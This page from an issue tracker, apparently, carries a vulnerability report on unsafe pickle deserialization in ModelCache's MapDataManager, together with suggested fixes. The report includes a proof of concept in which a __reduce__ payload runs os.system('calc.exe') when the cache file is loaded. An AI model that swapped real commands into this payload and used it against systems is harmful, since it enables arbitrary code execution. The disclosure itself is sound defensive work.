Insecure Deserialization Vulnerability in DataManager
Ninguém assumiu esta issue ainda.
Avaliação
- Dificuldade
- 5/5
- Tempo estimado
- Mais de uma semana
- Facilidade para iniciantes
- 30/100
Direção de pesquisa
Comece localizando MapDataManager e a chamada a pickle.load; em seguida, rastreie como get_data_manager e factory.py criam e leem data_map.txt. Revise o formato do cache e todos os testes existentes antes de escolher uma substituição segura. A tarefa estará concluída quando os dados armazenados em cache puderem ser carregados sem execução arbitrária de código e o comportamento relevante de carregamento estiver coberto por testes.
Escrita pelo modelo de indexação a partir do texto da issue.
Descrição
Hi,
I've discovered a critical vulnerability in the MapDataManager class where pickle.load is used to deserialize cached data from a file. The use of pickle is inherently unsafe as it can execute arbitrary Python code during deserialization. This poses a significant risk, such as enabling remote code execution (RCE) by deserializing malicious objects.
PoC
Below is a simple PoC for this issue, I also attach a picture with 'dir' payload for your reference.
import pickle
import os
from modelcache.manager import get_data_manager
# Malicious class that executes arbitrary code when deserialized
class Exploit:
def __reduce__(self):
return (os.system, ('calc.exe',)) # calc.exe for windows
malicious_payload = pickle.dumps(Exploit())
with open("data_map.txt", "wb") as f: #Using data_map.txt like in factory.py
f.write(malicious_payload)
# Simulate loading the malicious cache file
data_manager = get_data_manager(data_path="data_map.txt", max_size=1000)
While the example Flask application uses SQLite as the cache base, similar risks could arise if user-controlled data is cached into the database and subsequently deserialized.
Recommendation
To mitigate this issue, I strongly recommend avoiding pickle for serialization. Safer alternatives like JSON or MessagePack should be used, as they do not allow code execution.
Thanks.
- Linguagem predominante
- Python
- Estrelas
- 932
- Forks
- 68
- Métricas de merge de PRs
- Nenhum PR com merge em 30d
Preparar o ambiente
- Inclui um Dockerfile ou arquivo Docker Compose
- Sem modelo de pull request
- Sem guia de contribuição
Primeiros passos
- Leia a issue inteira e depois o guia de contribuição do projeto.
- Comente na issue dizendo que vai assumir — evita que duas pessoas façam o mesmo trabalho.
- Faça um fork do repositório e trabalhe em uma branch.
- Abra um pull request que referencie o número da issue.
Mais de codefuse-ai/ModelCache
-
提供OpenAI格式的查询接口Aberta
Dificuldade 5/5 Mais de uma semana Facilidade para iniciantes 25/100
codefuse-ai/ModelCache#69 · 1 comentário ·
Todas as issues de codefuse-ai/ModelCache
Issues semelhantes
-
good first issue priority: low size: XS testing
Dificuldade 1/5 1-3 horas Facilidade para iniciantes 86/100
cubrid-lab/cubrid-mcp-server#385 ·
Mantenedores costumam responder em até 1 dia
-
good first issue priority: low size: S testing
Dificuldade 2/5 1-3 horas Facilidade para iniciantes 85/100
cubrid-lab/cubrid-cookbook-python#447 ·
Mantenedores costumam responder em até 1 dia
-
Python PointcloudAberta
Dificuldade 2/5 1-3 horas Facilidade para iniciantes 62/100
ArduCAM/Arducam_tof_camera#125 ·
-
area:curator enhancement
Dificuldade 2/5 1-3 horas Facilidade para iniciantes 74/100
CassioDalla/Scrinalia#150 ·
Mantenedores costumam responder em até 1 dia
-
documentation good first issue
Dificuldade 2/5 1-3 horas Facilidade para iniciantes 72/100